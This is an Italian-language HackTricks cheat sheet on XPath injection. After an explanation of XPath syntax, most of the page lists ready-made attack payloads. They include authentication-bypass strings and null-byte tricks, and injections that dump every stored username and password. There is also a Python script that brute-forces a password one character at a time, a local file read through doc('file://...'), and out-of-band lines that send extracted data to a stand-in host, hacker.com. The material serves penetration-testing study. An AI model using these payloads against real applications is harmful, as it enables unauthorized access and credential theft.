14 KiB
Iniezione XPATH
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!
Approfondimenti sull'Hacking
Coinvolgiti con contenuti che approfondiscono l'emozione e le sfide dell'hacking
Notizie sull'Hacking in Tempo Reale
Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
Ultimi Annunci
Rimani informato sui nuovi bug bounty in lancio e sugli aggiornamenti cruciali delle piattaforme
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!
Sintassi di Base
Una tecnica di attacco nota come Iniezione XPATH viene utilizzata per sfruttare le applicazioni che formano query XPATH (XML Path Language) basate sull'input dell'utente per interrogare o navigare documenti XML.
Nodi Descritti
Le espressioni vengono utilizzate per selezionare vari nodi in un documento XML. Queste espressioni e le loro descrizioni sono riassunte di seguito:
- nomedelnodo: Vengono selezionati tutti i nodi con il nome "nomedelnodo".
- /: La selezione viene fatta dal nodo radice.
- //: Vengono selezionati i nodi corrispondenti alla selezione dal nodo corrente, indipendentemente dalla loro posizione nel documento.
- .: Viene selezionato il nodo corrente.
- ..: Viene selezionato il genitore del nodo corrente.
- @: Vengono selezionati gli attributi.
Esempi di XPATH
Gli esempi di espressioni di percorso e i loro risultati includono:
- libreria: Vengono selezionati tutti i nodi chiamati "libreria".
- /libreria: Viene selezionato l'elemento radice libreria. Si nota che un percorso assoluto verso un elemento è rappresentato da un percorso che inizia con una barra (/).
- libreria/libro: Vengono selezionati tutti gli elementi libro che sono figli di libreria.
- //libro: Vengono selezionati tutti gli elementi libro nel documento, indipendentemente dalla loro posizione.
- libreria//libro: Vengono selezionati tutti gli elementi libro che sono discendenti dell'elemento libreria, indipendentemente dalla loro posizione sotto l'elemento libreria.
- //@lang: Vengono selezionati tutti gli attributi chiamati lang.
Utilizzo dei Predicati
I predicati vengono utilizzati per raffinare le selezioni:
- /libreria/libro[1]: Viene selezionato il primo elemento libro figlio dell'elemento libreria. Un workaround per le versioni di IE da 5 a 9, che indicizzano il primo nodo come [0], è impostare il SelectionLanguage su XPath tramite JavaScript.
- /libreria/libro[last()]: Viene selezionato l'ultimo elemento libro figlio dell'elemento libreria.
- /libreria/libro[last()-1]: Viene selezionato il penultimo elemento libro figlio dell'elemento libreria.
- /libreria/libro[position()<3]: Vengono selezionati i primi due elementi libro figli dell'elemento libreria.
- //titolo[@lang]: Vengono selezionati tutti gli elementi titolo con un attributo lang.
- //titolo[@lang='en']: Vengono selezionati tutti gli elementi titolo con un valore di attributo "lang" pari a "en".
- /libreria/libro[prezzo>35.00]: Vengono selezionati tutti gli elementi libro della libreria con un prezzo maggiore di 35.00.
- /libreria/libro[prezzo>35.00]/titolo: Vengono selezionati tutti gli elementi titolo degli elementi libro della libreria con un prezzo maggiore di 35.00.
Gestione dei Nodi Sconosciuti
I caratteri jolly vengono utilizzati per corrispondere ai nodi sconosciuti:
- *: Corrisponde a qualsiasi nodo elemento.
- @*: Corrisponde a qualsiasi nodo attributo.
- node(): Corrisponde a qualsiasi nodo di qualsiasi tipo.
Altri esempi includono:
- /libreria/*: Seleziona tutti i nodi elementi figli dell'elemento libreria.
- //*: Seleziona tutti gli elementi nel documento.
- //titolo[@*]: Seleziona tutti gli elementi titolo con almeno un attributo di qualsiasi tipo.
Esempio
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Accedi alle informazioni
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identificare e rubare lo schema
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Ignorare l'Autenticazione
Esempio di query:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR bypass in user and password (stesso valore in entrambi)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Abuso dell'iniezione di null
Username: ' or 1]%00
Doppio OR nel nome utente o nella password (è valido con un solo campo vulnerabile)
IMPORTANTE: Nota che la "and" è la prima operazione eseguita.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Estrazione di stringhe
L'output contiene stringhe e l'utente può manipolare i valori per effettuare ricerche:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Sfruttamento alla cieca
Ottenere la lunghezza di un valore ed estrarlo tramite confronti:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Esempio Python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Leggere file
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Sfruttamento OOB
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Strumento automatico
Riferimenti
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!
Approfondimenti sull'Hacking
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
Notizie sull'Hacking in Tempo Reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
Ultime Novità
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!
Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.